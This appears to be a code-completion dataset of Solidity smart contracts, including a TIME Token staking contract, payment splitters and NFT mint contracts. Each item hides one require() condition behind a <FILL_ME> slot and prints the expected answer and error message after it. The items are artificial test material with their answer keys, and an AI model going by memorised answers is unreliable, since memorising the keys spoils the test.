burned * @param timeToken The instance of TIME Token contract * @param amountToSave Amount to be bought **/ function _saveTime(ITimeToken timeToken, uint256 amountToSave) private { } /** * @dev Withdraw all available earnings to the depositant address * @param depositant Address of depositant account **/ function _transferDepositantEarnings(address depositant) private { } /** * @dev Withdraw all deposited amount to the depositant address and transfer the deposited TIME from depositant to the Employer account **/ function _withdraw() private { } /** * @dev Deposit only TIME in order to anticipate interest over previous deposited ETH * @notice Pre-condition: the depositant must have previous deposited ETH and also should approve (allow to spend) the TIME tokens to deposit. Anticipation is mandatory in this case * @param timeAmount The amount in TIME an investor should deposit to anticipate **/ function anticipate(uint256 timeAmount) public payable nonReentrant update(false) { } /** * @dev Calculate the anticipation fee an investor needs to pay in order to anticipate TIME Tokens in the Employer contract * @return fee The fee amount calculated **/ function anticipationFee() public view returns (uint256) { } /** * @dev Compound available earnings into the depositant account * @notice Pre-condition: the depositant should approve (allow to spend) the TIME tokens to deposit. Also, if they want to anticipate yield, they must enabled anticipation before the function call * @param timeAmount (Optional. Can be zero) The amount of TIME Tokens an investor wants to continue receiveing or anticipating earnings * @param mustAnticipateTime Informs whether an investor wants to anticipate earnings to be compounded **/ function compound(uint256 timeAmount, bool mustAnticipateTime) public nonReentrant update(true) { require(deposited[msg.sender] > 0, "Depositant does not have any amount to compound"); if (mustAnticipateTime) require(<FILL_ME>) if (timeAmount > 0) { ITimeToken timeToken = ITimeToken(TIME_TOKEN_ADDRESS); require(timeToken.allowance(msg.sender, address(this)) >= timeAmount, "Should allow TIME to be spent"); try timeToken.transferFrom(msg.sender, address(this), timeAmount) { totalDepositedTime += timeAmount; if (mustAnticipateTime) { _anticipateEarnings(timeAmount); } else { remainingTime[msg.sender] += timeAmount; } } catch { revert("Problem when transferring TIME"); } } } /** * @dev Deposit ETH and TIME in order to earn interest over them * @notice Pre-condition: the depositant should approve (allow to spend) the TIME tokens to deposit. Also, if they want to anticipate yield, they must enabled anticipation before the function call * @param timeAmount The amount in TIME an investor should deposit * @param mustAnticipateTime Informs if the depositant wants to anticipate the yield or not **/ function deposit(uint256 timeAmount, bool mustAnticipateTime) public payable nonReentrant update(false) { } /** * @dev Public call for earning interest for Employer (if it has any to receive) **/ function earn() public nonReentrant { } /** * @dev Enable an investor to anticipate yields using TIME tokens **/ function enableAnticipation() public payable nonReentrant update(false) { } /** * @dev Inform the current Return Of Investment the Employer contract is giving * @return roi The current amount returned to investors **/ function getCurrentROI() public view returns (uint256) { } /** * @dev Inform the current Return Of Investment per Block the Employer contract is giving * @return roi The current amount per block returned to investors **/ function getCurrentROIPerBlock() public view returns (uint256) { } /** * @dev Inform the historical Return Of Investment the Employer contract is giving * @return roi The historical amount returned to investors **/ function getROI() public view returns (uint256) { } /** * @dev Inform the historical Return Of Investment per Block the Employer contract is giving * @return roi The historical amount per block returned to investors **/ function getROIPerBlock() public view returns (uint256) { } /** * @dev Inform the earnings an investor can anticipate (without waiting for a given time) according to the informed TIME amount * @param depositant Address of the depositant account * @param anticipatedTime Amount of TIME informed by a depositant as anticipation * @return earnings Amount a depositant can anticipate **/ function queryAnticipatedEarnings(address depositant, uint256 anticipatedTime) public view returns (uint256) { } /** * @dev Inform the earnings an investor can currently receive * @param depositant Address of the depositant account * @return earnings Amount a depositant can receive **/ function queryEarnings(address depositant) public view returns (uint256) { } /** * @dev Withdraw earnings (only) of a depositant (msg.sender) * @notice All functions are in modifiers. It only checks if the depositant has earning something **/ function withdrawEarnings() public nonReentrant update(false) { } /** * @dev Withdraw all deposited values of a depositant (msg.sender) **/ function withdrawDeposit() public nonReentrant update(false) { } /** * @dev Withdraw all deposited values of a depositant (msg.sender) without any check for earnings (emergency) **/ function withdrawDepositEmergency() public nonReentrant { } }
anticipationEnabled[msg.sender],"Depositant is not enabled to anticipate TIME"
484,242
anticipationEnabled[msg.sender]
"Address is already enabled for TIME anticipation"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ITimeToken.sol"; /** * @title TIME Token Employer contract * @dev Smart contract used to model the first Use Case for TIME Token - The Employer. It pays some interest over the native cryptocurrency deposited from investors **/ contract Employer { bool private _isOperationLocked; address public constant DEVELOPER_ADDRESS = 0x731591207791A93fB0Ec481186fb086E16A7d6D0; address public immutable TIME_TOKEN_ADDRESS; uint256 public constant D = 10**18; uint256 public constant FACTOR = 10**18; uint256 public immutable FIRST_BLOCK; uint256 public immutable ONE_YEAR; uint256 public availableNative; uint256 public currentDepositedNative; uint256 public totalAnticipatedTime; uint256 public totalBurnedTime; uint256 public totalDepositedNative; uint256 public totalDepositedTime; uint256 public totalEarnedNative; uint256 public totalTimeSaved; mapping (address => bool) public anticipationEnabled; mapping (address => uint256) public deposited; mapping (address => uint256) public earned; mapping (address => uint256) public lastBlock; mapping (address => uint256) public remainingTime; constructor(address timeTokenAddress_) { } /** * @dev Implement security to avoid reentrancy attacks **/ modifier nonReentrant() { } /** * @dev Update the blocks from caller (msg.sender), contract address, and burn TIME tokens accordingly. It also extracts ETH from TIME contract, compounds and transfer earnings to depositants **/ modifier update(bool mustCompound) { } fallback() external payable { } receive() external payable { } /** * @dev Common function to anticipate gains earned from investments from deposited amount * @param timeAmount TIME token amount used to anticipate the earnings in terms of blocks **/ function _anticipateEarnings(uint256 timeAmount) private { } /** * @dev Burn TIME according to the amount set from selected depositant * @param timeToken The instance of TIME Token contract * @param depositant Address of depositant account * @param amount Amount to be burned **/ function _burnTime(ITimeToken timeToken, address depositant, uint256 amount) private { } /** * @dev Claim the withdrawable amount earned from the TIME Community Pool * @param timeToken The instance of TIME Token contract * @return earnings The amount earned from TIME Token Community Pool **/ function _claimEarningsFromTime(ITimeToken timeToken) private returns (uint256 earnings) { } /** * @dev Compound earned amount from selected depositant * @param depositant Address of depositant account **/ function _compoundDepositantEarnings(address depositant) private { } /** * @dev Claim earnings from TIME contract and buy 10% of them in TIME tokens * @param timeToken The instance of TIME Token contract **/ function _earnInterestAndAllocate(ITimeToken timeToken) private { } /** * @notice Called when need to pay comission for miner (block.coinbase) and developer * @param comissionAmount The total comission amount in ETH which will be paid **/ function _payComission(uint256 comissionAmount) private { } /** * @dev Buy (save) TIME tokens from the TIME Token contract and update the amount to be burned * @param timeToken The instance of TIME Token contract * @param amountToSave Amount to be bought **/ function _saveTime(ITimeToken timeToken, uint256 amountToSave) private { } /** * @dev Withdraw all available earnings to the depositant address * @param depositant Address of depositant account **/ function _transferDepositantEarnings(address depositant) private { } /** * @dev Withdraw all deposited amount to the depositant address and transfer the deposited TIME from depositant to the Employer account **/ function _withdraw() private { } /** * @dev Deposit only TIME in order to anticipate interest over previous deposited ETH * @notice Pre-condition: the depositant must have previous deposited ETH and also should approve (allow to spend) the TIME tokens to deposit. Anticipation is mandatory in this case * @param timeAmount The amount in TIME an investor should deposit to anticipate **/ function anticipate(uint256 timeAmount) public payable nonReentrant update(false) { } /** * @dev Calculate the anticipation fee an investor needs to pay in order to anticipate TIME Tokens in the Employer contract * @return fee The fee amount calculated **/ function anticipationFee() public view returns (uint256) { } /** * @dev Compound available earnings into the depositant account * @notice Pre-condition: the depositant should approve (allow to spend) the TIME tokens to deposit. Also, if they want to anticipate yield, they must enabled anticipation before the function call * @param timeAmount (Optional. Can be zero) The amount of TIME Tokens an investor wants to continue receiveing or anticipating earnings * @param mustAnticipateTime Informs whether an investor wants to anticipate earnings to be compounded **/ function compound(uint256 timeAmount, bool mustAnticipateTime) public nonReentrant update(true) { } /** * @dev Deposit ETH and TIME in order to earn interest over them * @notice Pre-condition: the depositant should approve (allow to spend) the TIME tokens to deposit. Also, if they want to anticipate yield, they must enabled anticipation before the function call * @param timeAmount The amount in TIME an investor should deposit * @param mustAnticipateTime Informs if the depositant wants to anticipate the yield or not **/ function deposit(uint256 timeAmount, bool mustAnticipateTime) public payable nonReentrant update(false) { } /** * @dev Public call for earning interest for Employer (if it has any to receive) **/ function earn() public nonReentrant { } /** * @dev Enable an investor to anticipate yields using TIME tokens **/ function enableAnticipation() public payable nonReentrant update(false) { require(<FILL_ME>) uint256 fee = ITimeToken(TIME_TOKEN_ADDRESS).fee() * 10; require(msg.value >= fee, "Please provide the enough fee amount to enable TIME anticipation"); uint256 comission = fee / 5; _payComission(comission); totalEarnedNative += msg.value; availableNative += (msg.value - comission); anticipationEnabled[msg.sender] = true; } /** * @dev Inform the current Return Of Investment the Employer contract is giving * @return roi The current amount returned to investors **/ function getCurrentROI() public view returns (uint256) { } /** * @dev Inform the current Return Of Investment per Block the Employer contract is giving * @return roi The current amount per block returned to investors **/ function getCurrentROIPerBlock() public view returns (uint256) { } /** * @dev Inform the historical Return Of Investment the Employer contract is giving * @return roi The historical amount returned to investors **/ function getROI() public view returns (uint256) { } /** * @dev Inform the historical Return Of Investment per Block the Employer contract is giving * @return roi The historical amount per block returned to investors **/ function getROIPerBlock() public view returns (uint256) { } /** * @dev Inform the earnings an investor can anticipate (without waiting for a given time) according to the informed TIME amount * @param depositant Address of the depositant account * @param anticipatedTime Amount of TIME informed by a depositant as anticipation * @return earnings Amount a depositant can anticipate **/ function queryAnticipatedEarnings(address depositant, uint256 anticipatedTime) public view returns (uint256) { } /** * @dev Inform the earnings an investor can currently receive * @param depositant Address of the depositant account * @return earnings Amount a depositant can receive **/ function queryEarnings(address depositant) public view returns (uint256) { } /** * @dev Withdraw earnings (only) of a depositant (msg.sender) * @notice All functions are in modifiers. It only checks if the depositant has earning something **/ function withdrawEarnings() public nonReentrant update(false) { } /** * @dev Withdraw all deposited values of a depositant (msg.sender) **/ function withdrawDeposit() public nonReentrant update(false) { } /** * @dev Withdraw all deposited values of a depositant (msg.sender) without any check for earnings (emergency) **/ function withdrawDepositEmergency() public nonReentrant { } }
!anticipationEnabled[msg.sender],"Address is already enabled for TIME anticipation"
484,242
!anticipationEnabled[msg.sender]
"Depositant does not have any earnings to withdraw"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ITimeToken.sol"; /** * @title TIME Token Employer contract * @dev Smart contract used to model the first Use Case for TIME Token - The Employer. It pays some interest over the native cryptocurrency deposited from investors **/ contract Employer { bool private _isOperationLocked; address public constant DEVELOPER_ADDRESS = 0x731591207791A93fB0Ec481186fb086E16A7d6D0; address public immutable TIME_TOKEN_ADDRESS; uint256 public constant D = 10**18; uint256 public constant FACTOR = 10**18; uint256 public immutable FIRST_BLOCK; uint256 public immutable ONE_YEAR; uint256 public availableNative; uint256 public currentDepositedNative; uint256 public totalAnticipatedTime; uint256 public totalBurnedTime; uint256 public totalDepositedNative; uint256 public totalDepositedTime; uint256 public totalEarnedNative; uint256 public totalTimeSaved; mapping (address => bool) public anticipationEnabled; mapping (address => uint256) public deposited; mapping (address => uint256) public earned; mapping (address => uint256) public lastBlock; mapping (address => uint256) public remainingTime; constructor(address timeTokenAddress_) { } /** * @dev Implement security to avoid reentrancy attacks **/ modifier nonReentrant() { } /** * @dev Update the blocks from caller (msg.sender), contract address, and burn TIME tokens accordingly. It also extracts ETH from TIME contract, compounds and transfer earnings to depositants **/ modifier update(bool mustCompound) { } fallback() external payable { } receive() external payable { } /** * @dev Common function to anticipate gains earned from investments from deposited amount * @param timeAmount TIME token amount used to anticipate the earnings in terms of blocks **/ function _anticipateEarnings(uint256 timeAmount) private { } /** * @dev Burn TIME according to the amount set from selected depositant * @param timeToken The instance of TIME Token contract * @param depositant Address of depositant account * @param amount Amount to be burned **/ function _burnTime(ITimeToken timeToken, address depositant, uint256 amount) private { } /** * @dev Claim the withdrawable amount earned from the TIME Community Pool * @param timeToken The instance of TIME Token contract * @return earnings The amount earned from TIME Token Community Pool **/ function _claimEarningsFromTime(ITimeToken timeToken) private returns (uint256 earnings) { } /** * @dev Compound earned amount from selected depositant * @param depositant Address of depositant account **/ function _compoundDepositantEarnings(address depositant) private { } /** * @dev Claim earnings from TIME contract and buy 10% of them in TIME tokens * @param timeToken The instance of TIME Token contract **/ function _earnInterestAndAllocate(ITimeToken timeToken) private { } /** * @notice Called when need to pay comission for miner (block.coinbase) and developer * @param comissionAmount The total comission amount in ETH which will be paid **/ function _payComission(uint256 comissionAmount) private { } /** * @dev Buy (save) TIME tokens from the TIME Token contract and update the amount to be burned * @param timeToken The instance of TIME Token contract * @param amountToSave Amount to be bought **/ function _saveTime(ITimeToken timeToken, uint256 amountToSave) private { } /** * @dev Withdraw all available earnings to the depositant address * @param depositant Address of depositant account **/ function _transferDepositantEarnings(address depositant) private { } /** * @dev Withdraw all deposited amount to the depositant address and transfer the deposited TIME from depositant to the Employer account **/ function _withdraw() private { } /** * @dev Deposit only TIME in order to anticipate interest over previous deposited ETH * @notice Pre-condition: the depositant must have previous deposited ETH and also should approve (allow to spend) the TIME tokens to deposit. Anticipation is mandatory in this case * @param timeAmount The amount in TIME an investor should deposit to anticipate **/ function anticipate(uint256 timeAmount) public payable nonReentrant update(false) { } /** * @dev Calculate the anticipation fee an investor needs to pay in order to anticipate TIME Tokens in the Employer contract * @return fee The fee amount calculated **/ function anticipationFee() public view returns (uint256) { } /** * @dev Compound available earnings into the depositant account * @notice Pre-condition: the depositant should approve (allow to spend) the TIME tokens to deposit. Also, if they want to anticipate yield, they must enabled anticipation before the function call * @param timeAmount (Optional. Can be zero) The amount of TIME Tokens an investor wants to continue receiveing or anticipating earnings * @param mustAnticipateTime Informs whether an investor wants to anticipate earnings to be compounded **/ function compound(uint256 timeAmount, bool mustAnticipateTime) public nonReentrant update(true) { } /** * @dev Deposit ETH and TIME in order to earn interest over them * @notice Pre-condition: the depositant should approve (allow to spend) the TIME tokens to deposit. Also, if they want to anticipate yield, they must enabled anticipation before the function call * @param timeAmount The amount in TIME an investor should deposit * @param mustAnticipateTime Informs if the depositant wants to anticipate the yield or not **/ function deposit(uint256 timeAmount, bool mustAnticipateTime) public payable nonReentrant update(false) { } /** * @dev Public call for earning interest for Employer (if it has any to receive) **/ function earn() public nonReentrant { } /** * @dev Enable an investor to anticipate yields using TIME tokens **/ function enableAnticipation() public payable nonReentrant update(false) { } /** * @dev Inform the current Return Of Investment the Employer contract is giving * @return roi The current amount returned to investors **/ function getCurrentROI() public view returns (uint256) { } /** * @dev Inform the current Return Of Investment per Block the Employer contract is giving * @return roi The current amount per block returned to investors **/ function getCurrentROIPerBlock() public view returns (uint256) { } /** * @dev Inform the historical Return Of Investment the Employer contract is giving * @return roi The historical amount returned to investors **/ function getROI() public view returns (uint256) { } /** * @dev Inform the historical Return Of Investment per Block the Employer contract is giving * @return roi The historical amount per block returned to investors **/ function getROIPerBlock() public view returns (uint256) { } /** * @dev Inform the earnings an investor can anticipate (without waiting for a given time) according to the informed TIME amount * @param depositant Address of the depositant account * @param anticipatedTime Amount of TIME informed by a depositant as anticipation * @return earnings Amount a depositant can anticipate **/ function queryAnticipatedEarnings(address depositant, uint256 anticipatedTime) public view returns (uint256) { } /** * @dev Inform the earnings an investor can currently receive * @param depositant Address of the depositant account * @return earnings Amount a depositant can receive **/ function queryEarnings(address depositant) public view returns (uint256) { } /** * @dev Withdraw earnings (only) of a depositant (msg.sender) * @notice All functions are in modifiers. It only checks if the depositant has earning something **/ function withdrawEarnings() public nonReentrant update(false) { require(<FILL_ME>) } /** * @dev Withdraw all deposited values of a depositant (msg.sender) **/ function withdrawDeposit() public nonReentrant update(false) { } /** * @dev Withdraw all deposited values of a depositant (msg.sender) without any check for earnings (emergency) **/ function withdrawDepositEmergency() public nonReentrant { } }
earned[msg.sender]>0,"Depositant does not have any earnings to withdraw"
484,242
earned[msg.sender]>0
"Cannot delete Owner"
pragma solidity ^0.8.7; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. The distribution of shares is set at the * time of contract deployment and can't be updated thereafter. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PAYMENTS_CCP is Context, Ownable { event PayeeAdded(address account, uint256 shares); event PayeeModified(address oldAccount, address newAccount, uint256 oldShares, uint256 newShares); event PayeeDeleted(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { } /** * @dev Getter for the amount of payee's releasable Ether. */ function releasable(address account) public view returns (uint256) { } /** * @dev Getter for the amount of payee's releasable `token` tokens. `token` should be the address of an * IERC20 contract. */ function releasable(IERC20 token, address account) public view returns (uint256) { } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual { } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function addPayee(address account, uint256 shares_) public onlyOwner { } /** * @dev Modify existing payee in the contract. * Note: Total shares may exceed 100, modify share percentages accordingly so _totalShares equal 100. * @param addressIndex The index of the old address of the payee to modify. * @param newAddress The new address of the payee. * @param share The share for the address of the payee. */ function modifyPayee(uint256 addressIndex, address newAddress, uint256 share) public onlyOwner { } /** * @dev Delete an existing payee in the contract. * @param addressIndex The index of the address of the payee to delete. */ function deletePayee(uint256 addressIndex) public onlyOwner { require(<FILL_ME>) address deleteAddress = _payees[addressIndex]; uint256 shareAmount = _shares[deleteAddress]; _totalShares = _totalShares - shareAmount; //updates total shares by subtracting the shares from the address to delete delete _shares[deleteAddress]; //deletes mapped shares by address _payees[addressIndex] = _payees[_payees.length - 1]; //moves address to the end of the array _payees.pop(); //deletes the address from the end of the array emit PayeeDeleted(deleteAddress, shareAmount); } /** * @dev The contract modifier / developer's website. */ function contractDev() public pure returns(string memory){ } } /** [ "0x1BA3fe6311131A67d97f20162522490c3648F6e2", "0x522ee4130B819355e10218E40d6Ab0c495219690" ] [ 25, 75 ] 0x1BA3fe6311131A67d97f20162522490c3648F6e2; //Nate 0x522ee4130B819355e10218E40d6Ab0c495219690; //Moby ***** TEST Wallets Below ****** ["0x5B38Da6a701c568545dCfcB03FcB875f56beddC4", "0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2", "0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db"] [75,20,5] */
_payees[addressIndex]!=owner(),"Cannot delete Owner"
484,277
_payees[addressIndex]!=owner()
null
// /** ___ ___ ___ /\ \ /\__\ /\ \ /::\ \ /::| | \:\ \ /:/\:\ \ /:|:| | \:\ \ /:/ \:\ \ /:/|:|__|__ \:\ \ /:/__/_\:\__\ /:/ |::::\__\ _______\:\__\ \:\ /\ \/__/ \/__/~~/:/ / \::::::::/__/ \:\ \:\__\ /:/ / \:\~~\~~ \:\/:/ / /:/ / \:\ \ \::/ / /:/ / \:\__\ \/__/ \/__/ \/__/ MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMds+:--------:+sdNMMMMMMMMMMM MMMMMMMMms:-+sdNMMMMMMMMNdy+--omMMMMMMMM MMMMMMh:` /mMMMMMMMMMMMMMMMMm+ `-yMMMMMM MMMMd--hN``--sNMMMMMMMMMMNy:..`md:.hMMMM MMM+`yMMMy hd+./hMMMMMMh/.+dd sMMMh`/MMM MM:.mMMMMM:.NMMh/.+dd+./hMMM--MMMMMm--NM M+`mMMMMMMN`+MMMMm- .dMMMMo mMMMMMMN.:M d yMMMMMMMMy dNy:.omNs--sNm oMMMMMMMMh h /`MMMMMMMMMM.`.+dMMMMMMm+.``NMMMMMMMMM-: .:MMMMMMMd+./`oMMMMMMMMMMs /.+dMMMMMMM/` .:MMMMmo.:yNMs dMMMMMMMMm`oMNy:.omMMMM/` /`MNy:.omMMMMM--MMMMMMMM:.MMMMMNs--sNM.: d -` :++++++++: /++++++/ :++++++++: : h M+ yddddddddddd+ yddddy /dddddddddddy`/M MM/.mMMMMMMMMMMM.-MMMM/.NMMMMMMMMMMm.:NM MMMo`sMMMMMMMMMMd sMMy hMMMMMMMMMMy`+MMM MMMMd--hMMMMMMMMM+`mN`/MMMMMMMMMh--hMMMM MMMMMMh:.omMMMMMMN.:/`NMMMMMMms.:hMMMMMM MMMMMMMMNs:./shmMMh yMMNds/.:smMMMMMMMM MMMMMMMMMMMMdy+/---``---:+sdMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Dear Gentlemen, i want to warn you that this contract does not have any complex structure. We used github and some youtube videos to make this smart contract, but we assure you that although simple it is safe enough to provide a healthy market in this collection. Don't expect much more than bizarre creatures JEPGs, we are not genius... But we intend to make good use of your cryptocurrencies ;D I really hope that in some way you will benefit from these collections. Enjoy! OBS* Special thanks to Daniel from HashLips YouTube Channel */ pragma solidity >=0.7.0 <0.9.0; contract Gosmz is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public cost = 0.00666 ether; uint256 public maxSupply = 1000; uint256 public maxMintAmount = 2; uint256 public nftPerAddressLimit = 4; bool public paused = false; bool public revealed = true; bool public dinamicCost = true; bool public onlyWhitelisted = true; address[] public whitelistedAddresses; mapping(address => uint256) public addressMintedBalance; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { } // internal function _baseURI() internal view virtual override returns (string memory) { } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(<FILL_ME>) require(msg.value >= cost * _mintAmount); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function mintForOwner(uint256 _mintAmount) public onlyOwner { } function walletOfOwner(address _owner) public view returns (uint256[] memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } //only owner function reveal() public onlyOwner { } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { } function setCost(uint256 _newCost) public onlyOwner { } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setOnlyWhitelisted(bool _state) public onlyOwner { } function whitelistUsers(address[] calldata _users) public onlyOwner { } function withdraw() public payable onlyOwner { } }
supply+_mintAmount<=990
484,424
supply+_mintAmount<=990
"ONLY MANAGERS: Not authorized"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.12; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./IManagers.sol"; contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); IManagers managers; uint256 private _totalShares; uint256 private _totalReleased; // developer share %10 uint256 private _developerShare = 1000; address private _developerAddress; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address managersAddress_, address developerAddress_, address[] memory payees_, uint256[] memory shares_) payable { } modifier onlyManager() { require(<FILL_ME>) _; } function _udateShares(address[] memory newPayees_, uint256[] memory newShares_) private { } function updateManagers(address _managers) public onlyManager { } function updateShares(address[] memory newPayees_, uint256[] memory newShares_) public onlyManager { } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { } /** * @dev Getter for the amount of payee's releasable Ether. */ function releasable(address account) public view returns (uint256) { } /** * @dev Getter for the amount of payee's releasable `token` tokens. `token` should be the address of an * IERC20 contract. */ function releasable(IERC20 token, address account) public view returns (uint256) { } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual onlyManager { } /** * @dev Triggers a transfer to `payee accounts` for the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function releaseAll() public virtual onlyManager { } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual onlyManager { } /** * @dev Triggers a transfer to `payee accounts` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function releaseAll(IERC20 token) public virtual onlyManager { } function developerRelease(address payable account) public virtual { } function developerRelease(IERC20 token, address account) public virtual { } function transferDeveloperOwnership(address newOwner) public virtual { } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { } }
managers.isManager(msg.sender),"ONLY MANAGERS: Not authorized"
484,438
managers.isManager(msg.sender)
"MAXSUPPLY over"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; contract MagoMintPayment is Ownable { uint256 private constant MAX_SUPPLY = 300; uint256 public constant PRIVATE_PRICE = 0.55 ether; uint256 public publicPrice; uint256 public totalSupply = 0; bool public presale = true; mapping(address => bool) public whitelist; mapping(address => uint256) public purchasedQuantity; constructor() {} function publicPurchase(uint256 _amount) public payable { require(!presale, "presale is active"); require(<FILL_ME>) require(msg.value == _amount * publicPrice, "not correct funds"); purchasedQuantity[msg.sender] += _amount; totalSupply += _amount; } function prePurchase(uint256 _amount) public payable { } function freePurchase() public { } function setWhitelist(address[] calldata _addresses) public onlyOwner { } function setPublicPrice(uint256 _publicPrice) public onlyOwner { } function withdraw() external onlyOwner { } function setPublic() public onlyOwner { } }
totalSupply+_amount<MAX_SUPPLY,"MAXSUPPLY over"
484,455
totalSupply+_amount<MAX_SUPPLY
"Exceeds max supply"
